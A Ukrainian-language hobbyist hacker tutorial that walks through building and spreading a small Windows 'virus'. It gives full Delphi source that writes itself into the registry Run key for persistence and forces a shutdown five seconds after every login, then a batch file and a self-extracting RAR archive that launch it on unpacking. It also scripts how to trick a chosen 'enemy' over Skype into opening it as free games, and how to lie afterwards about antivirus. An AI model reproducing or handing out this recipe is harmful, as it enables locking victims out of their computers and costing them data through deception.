І так, писати багато не буду, тому що лінь…, почнемо:
Сам вірус (він буде складатися з 2 частин, exe файлу і батника (*.bat)), створимо текстовий документ, міняємо ім’я «Текстовий документ.txt» на «virys.bat» (virys — це звичайне ім’я файлу, так що ви можете його назвати, як завгодно). Потім натискаєте на файл (в моєму випадку, це virys.bat), праву кнопку і натискаєте «Змінити», у вікні пишемо:
start gamesMicrosoft.exe
ВСІ. (1 частина закінчена)).
2 частина (це exe файл), будемо програмировать (на делфі (Delphi)), відкриємо делфі, і просто «тупо» скопіювати текст, який я даю, він дуже маленький, так як складається з рядки 1 + моя стаття «автозавантаження» (тобто сам вірус — це ВСЬОГО 1 рядок коду, а ще кілька рядків, які працюють з реєстром, тобто автозавантаження, щоб наша прога вимкнення / перезавантаження компа включалася).
Ось сам код:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, StdCtrls, XPMan, ExtCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
XPManifest1: TXPManifest;
Timer1: TTimer;
Label1: TLabel;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
reg: TRegistry;
path: String;
begin
Timer1.Enabled:=True;
// Form1.Left:=-5000;
path:=Application.ExeName;
reg:=Tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
if(reg.OpenKey(‘SoftwareMicrosoftWindows’ + ‘CurrentVersionRun’, True)) then begin
reg.WriteString(‘ViryS by V1S’, path);
reg.CloseKey;
reg.Free;

end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin

Close;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
WinExec(‘shutdown -s -f -t 5 -c «IIoJIb3oBaTeJIb, Bbl JIaMEP, IIoEToMy KoMII ceu4ac BblKJIlO4uTC9, c YBA}i{eHueM, V1S, 4yTb He 3a6blJI, y Bac ec4o ECTb 5 ceK.))))»’, 0);
Timer1.Enabled:=False;
end;

end.

І так, з кодом розібралися, зараз поясню:
на форму ставимо таймер (вкладка System), кнопка (Button, закладка Standart),
Лайбел (Label, закладка Standart), ну можна залишити ще манифес (вкладка Win32);
Обумовлюється (для тих, хто в танку), кнопка буде служити лише для вимкнення цієї проги (я б її взагалі не ставив, сама кнопка просто для приколу), лайбел теж не треба (але наприклад я на ній написав: ЖИТТЯ ПРЕКРАСНЕ, поки людина буде радіти, типо «життя прекрасне», вірус все зробить, що треба).
Всі (2 частина з EXE файлом закінчена, зберігаємо і компілюємо (Ctrl+F9))!!!!
ОБОВ’ЯЗКОВО (не F9, а саме Ctrl+F9).
Це дає те, що при компіляції програма (в нашому випадку вірус НЕзапуститься, але створить сам exe файл + коли ви це зробите, перейменуйте файл Project1.exe в файл Microsoft.exe).
Потім створюємо де завгодно (наприклад на робочому столі папку «ігри» і в неї (папку) кидаємо 2 файлу (virys.bat, і Microsoft.exe).
Після цього запускаємо Rar, на папці games права кнопка / «Додати до архіву…» (архіватор, він, зазвичай, у всіх є), і ставимо галочку у вкладці «Загальні», створити SFX архів, переходимо на вкладку «Додатково» і натискаємо «Параметри SFX…», і у вкладці «Загальні» («параметри SFX архіву»)
«Виконати після розпакування» пишете:
gamesvirys.bat
ВСЕ, натискаєте «ОК» і цей архів на своєму компі НЕраспоковывайте, так як після розпакування ВІДРАЗУ (навіть якщо користувач НІЧОГО не натискав запускаеться файл virys.bat, а цей файл запускає файл Microsoft.exe, який буде вимикати комп користувачеві ЗАВЖДИ протягом 5 сек., і закрити це не МОЖНА!!!).
Ось цей маленький вірус, який вирубати нереально, я наприклад НЕ зміг його вимкнути… (так як у мене було 2 користувача і обидва адміністратори, то я просто видалив користувача, який завантажував вірус і зробив нового користувача теж адміна, але при цьому я витратив час, + всі мої файли у документах і робочого столу ПІШЛИ і я їх так і е повернув)…
Ну коли ви зробите все як тут написано, то просто пишете (наприклад вашому ворогові, який є в скайпі (або асі т. д.)):
Ім’я вашого ворога, привіт, я нашол ігри, такі класні!!! повір мені!
тобі скинути?
припустимо він каже звичайно кидай!
Ви кидаєте, він разпаковывает (пофіг куди) і все. Вважайте у нього щонайменше цього користувача НЕМАЄ.
Ну потім він вас, звичайно, буде лаяти типо чо за вірус ти мені скинув (а ви говорите, що ти ламер, у тебе що антивиря нема? він каже: є, але те що ти мені скинув не вірус, тому як його мій антивирь не бачив…), ну ви говорите, це напевно через те, що ти не правильно разархівував, і типо у вас все працює або щось в цьому роді придумаєте… УДАЧІ!.

Якщо виникнуть проблеми, пропозиції, пишіть:
1) [email protected] ;
2)v1s.xaker.ru ;
(Це були Email ‘и)))